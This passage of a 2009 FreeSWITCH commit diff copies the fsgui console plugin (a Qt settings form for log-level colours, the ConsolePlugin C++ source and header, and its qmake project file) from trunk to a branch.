+        </item>
+        <item>
+         <layout class="QHBoxLayout" name="horizontalLayout_2">
+          <item>
+           <widget class="QLineEdit" name="lineAlert">
+            <property name="minimumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="autoFillBackground">
+             <bool>true</bool>
+            </property>
+            <property name="text">
+             <string>Alert message</string>
+            </property>
+            <property name="frame">
+             <bool>true</bool>
+            </property>
+            <property name="alignment">
+             <set>Qt::AlignCenter</set>
+            </property>
+            <property name="readOnly">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnBackgroundAlert">
+            <property name="minimumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Background</string>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnForegroundAlert">
+            <property name="minimumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Foreground</string>
+            </property>
+           </widget>
+          </item>
+         </layout>
+        </item>
+        <item>
+         <layout class="QHBoxLayout" name="horizontalLayout_3">
+          <item>
+           <widget class="QLineEdit" name="lineCritical">
+            <property name="minimumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="autoFillBackground">
+             <bool>true</bool>
+            </property>
+            <property name="text">
+             <string>Critical message</string>
+            </property>
+            <property name="frame">
+             <bool>true</bool>
+            </property>
+            <property name="alignment">
+             <set>Qt::AlignCenter</set>
+            </property>
+            <property name="readOnly">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnBackgroundCritical">
+            <property name="minimumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Background</string>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnForegroundCritical">
+            <property name="minimumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Foreground</string>
+            </property>
+           </widget>
+          </item>
+         </layout>
+        </item>
+        <item>
+         <layout class="QHBoxLayout" name="horizontalLayout_4">
+          <item>
+           <widget class="QLineEdit" name="lineError">
+            <property name="minimumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="autoFillBackground">
+             <bool>true</bool>
+            </property>
+            <property name="text">
+             <string>Error message</string>
+            </property>
+            <property name="frame">
+             <bool>true</bool>
+            </property>
+            <property name="alignment">
+             <set>Qt::AlignCenter</set>
+            </property>
+            <property name="readOnly">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnBackgroundError">
+            <property name="minimumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Background</string>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnForegroundError">
+            <property name="minimumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Foreground</string>
+            </property>
+           </widget>
+          </item>
+         </layout>
+        </item>
+        <item>
+         <layout class="QHBoxLayout" name="horizontalLayout_5">
+          <item>
+           <widget class="QLineEdit" name="lineWarning">
+            <property name="minimumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="autoFillBackground">
+             <bool>true</bool>
+            </property>
+            <property name="text">
+             <string>Warning message</string>
+            </property>
+            <property name="frame">
+             <bool>true</bool>
+            </property>
+            <property name="alignment">
+             <set>Qt::AlignCenter</set>
+            </property>
+            <property name="readOnly">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnBackgroundWarning">
+            <property name="minimumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Background</string>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnForegroundWarning">
+            <property name="minimumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Foreground</string>
+            </property>
+           </widget>
+          </item>
+         </layout>
+        </item>
+        <item>
+         <layout class="QHBoxLayout" name="horizontalLayout_6">
+          <item>
+           <widget class="QLineEdit" name="lineNotice">
+            <property name="minimumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="autoFillBackground">
+             <bool>true</bool>
+            </property>
+            <property name="text">
+             <string>Notice message</string>
+            </property>
+            <property name="frame">
+             <bool>true</bool>
+            </property>
+            <property name="alignment">
+             <set>Qt::AlignCenter</set>
+            </property>
+            <property name="readOnly">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnBackgroundNotice">
+            <property name="minimumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Background</string>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnForegroundNotice">
+            <property name="minimumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Foreground</string>
+            </property>
+           </widget>
+          </item>
+         </layout>
+        </item>
+        <item>
+         <layout class="QHBoxLayout" name="horizontalLayout_7">
+          <item>
+           <widget class="QLineEdit" name="lineInfo">
+            <property name="minimumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="autoFillBackground">
+             <bool>true</bool>
+            </property>
+            <property name="text">
+             <string>Info message</string>
+            </property>
+            <property name="frame">
+             <bool>true</bool>
+            </property>
+            <property name="alignment">
+             <set>Qt::AlignCenter</set>
+            </property>
+            <property name="readOnly">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnBackgroundInfo">
+            <property name="minimumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Background</string>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnForegroundInfo">
+            <property name="minimumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Foreground</string>
+            </property>
+           </widget>
+          </item>
+         </layout>
+        </item>
+        <item>
+         <layout class="QHBoxLayout" name="horizontalLayout_8">
+          <item>
+           <widget class="QLineEdit" name="lineDebug">
+            <property name="minimumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="autoFillBackground">
+             <bool>true</bool>
+            </property>
+            <property name="text">
+             <string>Debug message</string>
+            </property>
+            <property name="frame">
+             <bool>true</bool>
+            </property>
+            <property name="alignment">
+             <set>Qt::AlignCenter</set>
+            </property>
+            <property name="readOnly">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnBackgroundDebug">
+            <property name="minimumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Background</string>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnForegroundDebug">
+            <property name="minimumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Foreground</string>
+            </property>
+           </widget>
+          </item>
+         </layout>
+        </item>
+       </layout>
+      </widget>
+     </item>
+     <item>
+      <spacer name="horizontalSpacer">
+       <property name="orientation">
+        <enum>Qt::Horizontal</enum>
+       </property>
+       <property name="sizeHint" stdset="0">
+        <size>
+         <width>40</width>
+         <height>20</height>
+        </size>
+       </property>
+      </spacer>
+     </item>
+    </layout>
+   </item>
+   <item>
+    <spacer name="verticalSpacer">
+     <property name="orientation">
+      <enum>Qt::Vertical</enum>
+     </property>
+     <property name="sizeHint" stdset="0">
+      <size>
+       <width>20</width>
+       <height>40</height>
+      </size>
+     </property>
+    </spacer>
+   </item>
+  </layout>
+ </widget>
+ <resources/>
+ <connections/>
+</ui>

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.cpp

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.cpp (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,424 @@
+#include <QtGui>
+#include <QtPlugin>
+#include "consoleplugin.h"
+#include "eslconnection.h"
+#include "settingsdialog.h"
+#include "servermanager.h"
+#include "consoletabwidget.h"
+#include "ui_console_settings.h"
+
+
+ConsolePlugin::ConsolePlugin(QWidget *parent)
+        : QMainWindow(parent),
+        consoleWindow(new Ui::consoleWindow),
+        serverManager(NULL)
+{
+    consoleWindow->setupUi(this);
+    consoleWindow->tabConsole->clear();
+
+    QObject::connect(consoleWindow->tabConsole, SIGNAL(tabCloseRequested(int)),
+                     this, SLOT(tabClose(int)));
+    QObject::connect(consoleWindow->tabConsole, SIGNAL(currentChanged(int)),
+                     this, SLOT(tabChanged(int)));
+
+    QObject::connect(consoleWindow->action_Connect, SIGNAL(triggered()),
+                     this, SLOT(connect()));
+    QObject::connect(consoleWindow->action_Disconnect, SIGNAL(triggered()),
+                     this, SLOT(disconnect()));
+    QObject::connect(consoleWindow->action_Clear, SIGNAL(triggered()),
+                     this, SLOT(clearLogContents()));
+}
+
+ConsolePlugin::~ConsolePlugin(){}
+
+QObject * ConsolePlugin::getMonitorInterfaceObject()
+{
+    return this;
+}
+
+QString ConsolePlugin::appName()
+{
+    return "Console";
+}
+
+QString ConsolePlugin::appDescription()
+{
+    return tr("This application will do the same as fs_cli does.");
+}
+
+void ConsolePlugin::addConfigItems(SettingsDialog *settings)
+{
+    consoleConfigPage = new Ui::configPage();
+    QWidget *base = new QWidget(this);
+
+    consoleConfigPage->setupUi(base);
+    settings->addConfigItem("Console", base);
+
+    QObject::connect(consoleConfigPage->btnBackgroundConsole, SIGNAL(clicked()),
+                     this, SLOT(changeConsoleBackgroundColor()));
+    QObject::connect(consoleConfigPage->btnBackgroundAlert, SIGNAL(clicked()),
+                     this, SLOT(changeAlertBackgroundColor()));
+    QObject::connect(consoleConfigPage->btnBackgroundCritical, SIGNAL(clicked()),
+                     this, SLOT(changeCriticalBackgroundColor()));
+    QObject::connect(consoleConfigPage->btnBackgroundError, SIGNAL(clicked()),
+                     this, SLOT(changeErrorBackgroundColor()));
+    QObject::connect(consoleConfigPage->btnBackgroundWarning, SIGNAL(clicked()),
+                     this, SLOT(changeWarningBackgroundColor()));
+    QObject::connect(consoleConfigPage->btnBackgroundNotice, SIGNAL(clicked()),
+                     this, SLOT(changeNoticeBackgroundColor()));
+    QObject::connect(consoleConfigPage->btnBackgroundInfo, SIGNAL(clicked()),
+                     this, SLOT(changeInfoBackgroundColor()));
+    QObject::connect(consoleConfigPage->btnBackgroundDebug, SIGNAL(clicked()),
+                     this, SLOT(changeDebugBackgroundColor()));
+    QObject::connect(consoleConfigPage->btnForegroundConsole, SIGNAL(clicked()),
+                     this, SLOT(changeConsoleForegroundColor()));
+    QObject::connect(consoleConfigPage->btnForegroundAlert, SIGNAL(clicked()),
+                     this, SLOT(changeAlertForegroundColor()));
+    QObject::connect(consoleConfigPage->btnForegroundCritical, SIGNAL(clicked()),
+                     this, SLOT(changeCriticalForegroundColor()));
+    QObject::connect(consoleConfigPage->btnForegroundError, SIGNAL(clicked()),
+                     this, SLOT(changeErrorForegroundColor()));
+    QObject::connect(consoleConfigPage->btnForegroundWarning, SIGNAL(clicked()),
+                     this, SLOT(changeWarningForegroundColor()));
+    QObject::connect(consoleConfigPage->btnForegroundNotice, SIGNAL(clicked()),
+                     this, SLOT(changeNoticeForegroundColor()));
+    QObject::connect(consoleConfigPage->btnForegroundInfo, SIGNAL(clicked()),
+                     this, SLOT(changeInfoForegroundColor()));
+    QObject::connect(consoleConfigPage->btnForegroundDebug, SIGNAL(clicked()),
+                     this, SLOT(changeDebugForegroundColor()));
+    readSettings();
+    QObject::connect(settings, SIGNAL(accepted()),
+                     this, SLOT(writeSettings()));
+}
+
+void ConsolePlugin::newInstance()
+{
+    this->show();
+    newConnection();
+}
+
+void ConsolePlugin::setServerManager(ServerManager *manager)
+{
+    serverManager = manager;
+    QObject::connect(consoleWindow->action_Server_Manager, SIGNAL(triggered()),
+                     this, SLOT(newConnection()));
+}
+
+void ConsolePlugin::newConnection()
+{
+    if (serverManager->exec())
+    {
+        ESLconnection *esl = serverManager->getESLconnection();
+
+        if (hashESL.contains(esl->getName()))
+        {
+            for (int i = 0; i < consoleWindow->tabConsole->count(); i++)
+            {
+                if (consoleWindow->tabConsole->tabText(i) == esl->getName())
+                {
+                    consoleWindow->tabConsole->setCurrentIndex(i);
+                    delete esl;
+                    return;
+                }
+            }
+        }
+
+        ConsoleTabWidget *newTab = new ConsoleTabWidget(this, esl);
+        consoleWindow->tabConsole->addTab(newTab, esl->getName());
+        consoleWindow->tabConsole->setCurrentWidget(newTab);
+        hashESL.insert(esl->getName(), esl);
+        QObject::connect(esl, SIGNAL(connected()),
+                         this, SLOT(connectionStateChanged()));
+        QObject::connect(esl, SIGNAL(disconnected()),
+                         this, SLOT(connectionStateChanged()));
+        QObject::connect(esl, SIGNAL(connectionFailed(QString)),
+                         this, SLOT(connectionStateChanged()));
+    }
+}
+
+void ConsolePlugin::clearLogContents()
+{
+    ConsoleTabWidget *tab = qobject_cast<ConsoleTabWidget*>(consoleWindow->tabConsole->currentWidget());
+    if (tab)
+        tab->clearConsoleContents();
+}
+
+void ConsolePlugin::connectionStateChanged()
+{
+    tabChanged(consoleWindow->tabConsole->currentIndex());
+}
+
+void ConsolePlugin::setPalette(QLineEdit *control, QString key)
+{
+    QSettings settings;
+    if (settings.contains(key)) {
+        control->setPalette(settings.value(key).value<QPalette>());
+    }
+}
+
+void ConsolePlugin::readSettings()
+{
+    QSettings settings;
+    settings.beginGroup("Console");
+
+	setPalette(consoleConfigPage->lineConsole, QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_EMERG));
+	setPalette(consoleConfigPage->lineAlert, QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_ALERT));
+	setPalette(consoleConfigPage->lineCritical, QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_CRIT));
+	setPalette(consoleConfigPage->lineError, QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_ERROR));
+	setPalette(consoleConfigPage->lineWarning, QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_WARNING));
+	setPalette(consoleConfigPage->lineNotice, QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_NOTICE));
+	setPalette(consoleConfigPage->lineInfo, QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_INFO));
+	setPalette(consoleConfigPage->lineDebug, QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_DEBUG));
+
+    settings.endGroup();
+}
+
+void ConsolePlugin::writeSettings()
+{
+    QSettings settings;
+    settings.beginGroup("Console");
+    settings.setValue(QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_EMERG), consoleConfigPage->lineConsole->palette());
+    settings.setValue(QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_ALERT), consoleConfigPage->lineAlert->palette());
+    settings.setValue(QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_CRIT), consoleConfigPage->lineCritical->palette());
+    settings.setValue(QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_ERROR), consoleConfigPage->lineError->palette());
+    settings.setValue(QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_WARNING), consoleConfigPage->lineWarning->palette());
+    settings.setValue(QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_NOTICE), consoleConfigPage->lineNotice->palette());
+    settings.setValue(QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_INFO), consoleConfigPage->lineInfo->palette());
+    settings.setValue(QString("log-level-%1-palette").arg(ESL_LOG_LEVEL_DEBUG), consoleConfigPage->lineDebug->palette());
+    settings.endGroup();
+}
+
+void ConsolePlugin::changeConsoleBackgroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineConsole->palette().color(QPalette::Base), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineConsole->palette();
+        palette.setColor(QPalette::Base, color);
+        consoleConfigPage->lineConsole->setPalette(palette);
+        consoleConfigPage->lineConsole->setAutoFillBackground(true);
+    }
+}
+
+void ConsolePlugin::changeAlertBackgroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineAlert->palette().color(QPalette::Base), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineAlert->palette();
+        palette.setColor(QPalette::Base, color);
+        consoleConfigPage->lineAlert->setPalette(palette);
+        consoleConfigPage->lineAlert->setAutoFillBackground(true);
+    }
+}
+
+
+void ConsolePlugin::changeCriticalBackgroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineCritical->palette().color(QPalette::Base), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineCritical->palette();
+        palette.setColor(QPalette::Base, color);
+        consoleConfigPage->lineCritical->setPalette(palette);
+        consoleConfigPage->lineCritical->setAutoFillBackground(true);
+    }
+}
+
+void ConsolePlugin::changeErrorBackgroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineError->palette().color(QPalette::Base), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineError->palette();
+        palette.setColor(QPalette::Base, color);
+        consoleConfigPage->lineError->setPalette(palette);
+        consoleConfigPage->lineError->setAutoFillBackground(true);
+    }
+}
+
+void ConsolePlugin::changeWarningBackgroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineWarning->palette().color(QPalette::Base), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineWarning->palette();
+        palette.setColor(QPalette::Base, color);
+        consoleConfigPage->lineWarning->setPalette(palette);
+        consoleConfigPage->lineWarning->setAutoFillBackground(true);
+    }
+}
+
+void ConsolePlugin::changeNoticeBackgroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineNotice->palette().color(QPalette::Base), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineNotice->palette();
+        palette.setColor(QPalette::Base, color);
+        consoleConfigPage->lineNotice->setPalette(palette);
+        consoleConfigPage->lineNotice->setAutoFillBackground(true);
+    }
+}
+
+void ConsolePlugin::changeInfoBackgroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineInfo->palette().color(QPalette::Base), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineInfo->palette();
+        palette.setColor(QPalette::Base, color);
+        consoleConfigPage->lineInfo->setPalette(palette);
+        consoleConfigPage->lineInfo->setAutoFillBackground(true);
+    }
+}
+
+void ConsolePlugin::changeDebugBackgroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineDebug->palette().color(QPalette::Base), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineDebug->palette();
+        palette.setColor(QPalette::Base, color);
+        consoleConfigPage->lineDebug->setPalette(palette);
+        consoleConfigPage->lineDebug->setAutoFillBackground(true);
+    }
+}
+
+void ConsolePlugin::changeConsoleForegroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineConsole->palette().color(QPalette::Text), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineConsole->palette();
+        palette.setColor(QPalette::Text, color);
+        consoleConfigPage->lineConsole->setPalette(palette);
+    }
+}
+
+void ConsolePlugin::changeAlertForegroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineAlert->palette().color(QPalette::Text), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineAlert->palette();
+        palette.setColor(QPalette::Text, color);
+        consoleConfigPage->lineAlert->setPalette(palette);
+    }
+}
+
+void ConsolePlugin::changeCriticalForegroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineCritical->palette().color(QPalette::Text), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineCritical->palette();
+        palette.setColor(QPalette::Text, color);
+        consoleConfigPage->lineCritical->setPalette(palette);
+    }
+}
+
+void ConsolePlugin::changeErrorForegroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineError->palette().color(QPalette::Text), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineError->palette();
+        palette.setColor(QPalette::Text, color);
+        consoleConfigPage->lineError->setPalette(palette);
+    }
+}
+
+void ConsolePlugin::changeWarningForegroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineWarning->palette().color(QPalette::Text), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineWarning->palette();
+        palette.setColor(QPalette::Text, color);
+        consoleConfigPage->lineWarning->setPalette(palette);
+    }
+}
+
+void ConsolePlugin::changeNoticeForegroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineNotice->palette().color(QPalette::Text), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineNotice->palette();
+        palette.setColor(QPalette::Text, color);
+        consoleConfigPage->lineNotice->setPalette(palette);
+    }
+}
+
+void ConsolePlugin::changeInfoForegroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineInfo->palette().color(QPalette::Text), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineInfo->palette();
+        palette.setColor(QPalette::Text, color);
+        consoleConfigPage->lineInfo->setPalette(palette);
+    }
+}
+
+void ConsolePlugin::changeDebugForegroundColor()
+{
+    QColor color = QColorDialog::getColor(consoleConfigPage->lineDebug->palette().color(QPalette::Text), this);
+    if (color.isValid())
+    {
+        QPalette palette = consoleConfigPage->lineDebug->palette();
+        palette.setColor(QPalette::Text, color);
+        consoleConfigPage->lineDebug->setPalette(palette);
+    }
+}
+
+void ConsolePlugin::tabClose(int index)
+{
+    QWidget *tab = consoleWindow->tabConsole->widget(index);
+    ESLconnection *esl = hashESL.value(consoleWindow->tabConsole->tabText(index), NULL);
+    if (esl)
+    {
+        hashESL.remove(consoleWindow->tabConsole->tabText(index));
+        esl->disconnect();
+        esl->wait();
+        delete esl;
+    }
+    consoleWindow->tabConsole->removeTab(index);
+    delete tab;
+    if (consoleWindow->tabConsole->count() == 0)
+    {
+        consoleWindow->action_Connect->setEnabled(false);
+        consoleWindow->action_Disconnect->setEnabled(false);
+    }
+}
+
+void ConsolePlugin::tabChanged(int index)
+{
+    ESLconnection *esl = hashESL.value(consoleWindow->tabConsole->tabText(index), NULL);
+    if (esl)
+    {
+        consoleWindow->action_Connect->setDisabled(esl->isConnected());
+        consoleWindow->action_Disconnect->setEnabled(esl->isConnected());
+    }
+}
+
+void ConsolePlugin::connect()
+{
+    ESLconnection *esl = hashESL.value(consoleWindow->tabConsole->tabText(consoleWindow->tabConsole->currentIndex()), NULL);
+    if (esl)
+    {
+        esl->connect();
+    }
+}
+
+void ConsolePlugin::disconnect()
+{
+    ESLconnection *esl = hashESL.value(consoleWindow->tabConsole->tabText(consoleWindow->tabConsole->currentIndex()), NULL);
+    if (esl)
+    {
+        esl->disconnect();
+    }
+}
+
+Q_EXPORT_PLUGIN2(consoleplugin, ConsolePlugin)

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.h

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.h (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,66 @@
+#ifndef CONSOLEPLUGIN_H
+#define CONSOLEPLUGIN_H
+
+#include <QtGui/QMainWindow>
+#include <QtPlugin>
+#include <QtCore/QHash>
+#include "interfaces.h"
+#include "ui_centralWidget.h"
+
+namespace Ui
+{
+    class configPage;
+}
+class ESLconnection;
+
+class ConsolePlugin : public QMainWindow, public MonitorInterface
+{
+    Q_OBJECT
+    Q_INTERFACES(MonitorInterface)
+public:
+    ConsolePlugin(QWidget *parent = 0);
+    ~ConsolePlugin();
+    QObject *getMonitorInterfaceObject();
+    QString appName();
+    QString appDescription();
+    void addConfigItems(SettingsDialog *);
+    void newInstance();
+    void setServerManager(ServerManager *manager);
+
+private slots:
+    void connectionStateChanged();
+    void connect();
+    void disconnect();
+    void newConnection();
+    void clearLogContents();
+    void changeConsoleBackgroundColor();
+    void changeAlertBackgroundColor();
+    void changeCriticalBackgroundColor();
+    void changeErrorBackgroundColor();
+    void changeWarningBackgroundColor();
+    void changeNoticeBackgroundColor();
+    void changeInfoBackgroundColor();
+    void changeDebugBackgroundColor();
+    void changeConsoleForegroundColor();
+    void changeAlertForegroundColor();
+    void changeCriticalForegroundColor();
+    void changeErrorForegroundColor();
+    void changeWarningForegroundColor();
+    void changeNoticeForegroundColor();
+    void changeInfoForegroundColor();
+    void changeDebugForegroundColor();
+    void tabClose(int index);
+    void tabChanged(int index);
+    void readSettings();
+    void writeSettings();
+
+private:
+    Ui::consoleWindow *consoleWindow;
+    Ui::configPage *consoleConfigPage;
+    ServerManager *serverManager;
+    QHash<QString, ESLconnection *> hashESL;
+
+    void setPalette(QLineEdit *control, QString key);
+};
+
+#endif // CONSOLEPLUGIN_H

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.pro

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.pro (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.pro) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.pro	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoleplugin.pro	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+TEMPLATE = lib
+TARGET = ../../../bin/plugins/consoleplugin
+CONFIG += plugin
+INCLUDEPATH = ../../fsgui/ \
+    ../../interfaces \
+    ../../../../../../libs/esl/src/include/
+HEADERS = consoleplugin.h \
+    sortfilterproxymodel.h \
+    consoletabwidget.h
+SOURCES = consoleplugin.cpp \
+    sortfilterproxymodel.cpp \
+    consoletabwidget.cpp
+FORMS += centralWidget.ui \
+    console_settings.ui \
+    consoletabwidget.ui
+LIBS += -L../../interfaces \
+    -linterfaces \
+    -L../../../../../../libs/esl/ \
+    -lesl
+RESOURCES += ../../resources/resources.qrc

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.cpp

